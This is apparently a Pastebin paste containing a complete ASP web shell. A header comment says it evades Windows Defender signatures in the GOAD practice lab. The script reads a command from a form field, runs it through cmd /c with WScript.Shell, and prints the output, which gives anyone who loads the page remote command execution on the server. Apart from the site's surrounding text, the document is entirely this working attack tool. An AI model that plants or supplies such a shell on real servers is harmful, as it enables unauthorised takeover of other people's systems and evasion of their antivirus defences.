Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <%-- COMMENT; SHOULD BE IGNORED. A basic ASP Web Shell (webshell.asp) that avoid Windows Defender signature at the time of writing in GOAD Lab --%>
- <%
- Function getResult(theParam)
- Dim objSh, objResult
- Set objSh = CreateObject("WScript.Shell")
- Set objResult = objSh.exec(theParam)
- getResult = objResult.StdOut.ReadAll
- end Function
- %>
- <HTML>
- <BODY>
- Enter command:
- <FORM action="" method="POST">
- <input type="text" name="param" size=45 value="<%= myValue %>">
- <input type="submit" value="Run">
- </FORM>
- <p>
- Result :
- <%
- myValue = request("param")
- thisDir = getResult("cmd /c" & myValue)
- Response.Write(thisDir)
- %>
- </p>
- <br>
- </BODY>
- </HTML>
Advertisement
Add Comment
Please, Sign In to add comment